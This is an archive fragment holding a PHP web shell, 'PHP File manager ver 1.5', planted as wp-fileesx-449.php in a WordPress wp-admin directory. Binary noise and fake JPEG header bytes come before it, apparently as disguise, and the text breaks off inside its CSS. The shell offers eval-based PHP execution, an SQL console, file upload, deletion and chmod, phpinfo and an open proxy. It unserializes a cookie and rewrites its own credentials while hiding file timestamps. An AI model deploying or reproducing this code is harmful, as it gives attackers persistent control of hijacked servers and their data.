 0w۩:kIǉ	=ytxZX4VYU,АS},M0@x<$-V/Ym^|+lT.Ntocpf&ms^	>@fG9"	TE oVwqb('R/dʯyib^*q`y*SAG}jKRg?_c@ԍx
qFfhkjPYWa9/_tD+ugaUCF5T:R*u[Y+="L,Rzā%q{Thc|8򐦌>`+g*w~Ϩ֗yĚ8_troxPv_}?Z'08t_z͍ͪ`_| H۽.e&KxL*c7ao5|D0Bg-uwMv'o	${ǷR+KZxհ鸕-<r|UCΕvU^ͯ<ܹ7~/Jjk[q~>lth'Փũ|/-EHL1K@=gdx!3ks!7oWvt8p1!VTyqy]kYz_'F`m1w]T[Ϫt!\,b}bq|wuxoI`P0wgĭ_ EMȜ,-8A>è,۬@~rHG~ܵb^~.Koi>\3rx{Я{ѡ:8T֦XP}=M۝xAKPYݶЙfQ~h_g
"",(tzYRofeO׶f![nUM#jзGS9y	E-duz	z>d%~;>[Bu_i<rA҇Y#PP'ڙ80ݐ"rno;6$X&!0g<Lp{7nRtb!U~?!#fgm]Lay&191:iw`0B~Je!Xófxx淾泵5G}O#imR9j&YfzoHGbn7KkRha\ct{,WJ IG18ᩍE΁ݵ[_{
ϟWHWm??h3fm+byCaJWq0Poز	?XbA?|R)B\|B
Cr;rZgx*W̪UsM}ЧO_8T. n  PK       ! A L  L   wp-fileesx-449.php.tarnu [        home/capoccitel/www/wp-admin/wp-fileesx-449.php                                                     0000644                 00000242612 15242010522 0015254 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ﻿????????????????????????????

??????????????/?????????????????

............/...............

.........................../...

?????????????????????????????

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>



ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+

                                                                                                   

-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
?>
.........................................
.............................................................................                                                  





<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>>

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


















﻿????????????????????????????

??????????????/?????????????????

............/...............

.........................../...

?????????????????????????????

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>



ÿØÿà JFIF      ÿÛ „ 	 ( %!1!%)+//.383,7(-.+

                                                                                                   

-%%-////---/-.+/--+------/------/--0+--/-/-----.-----ÿÀ  ¥2" ÿÄ               ÿÄ J  	     ! 1AQ"aq2‘#BR‚¡ÁÑ3br’¢±Âð$CSƒ²á4c“%DsÓñÿÄ              ÿÄ *        !1AQa‘"2q3±ð#b¡ÿÚ   ? ¼QxJQaÍuò¸Zö Úü8,ÐÚú
"SSn<rçù–´âE—^ªBÖ9À\†¸ÔÁT­ÃÛ5
ëd´³Í#Ý;Þ38œî ¶H£M:wÎ3…³…âpÔF&‚FK¸9„â4àGEõªfÿ ‘ñ(ßw­pŽF|È¥ù®häðÍÑ¶¹‘[ÒinÙW¶ùñY˜Q{›K"išÒ[Ú8žë\F¹@-?v"ÔU”,ìöžkÿ {I‡£šÍ?e
ríV
?>
.........................................
.............................................................................                                                  





<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>/>>>>>>>>>>>>>>>>>>

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


















<?php







/* PHP File manager ver 1.5 */

















// Preparations
























$starttime = explode(' ', microtime());

$starttime = $starttime[1] + $starttime[0];

$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;














































// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
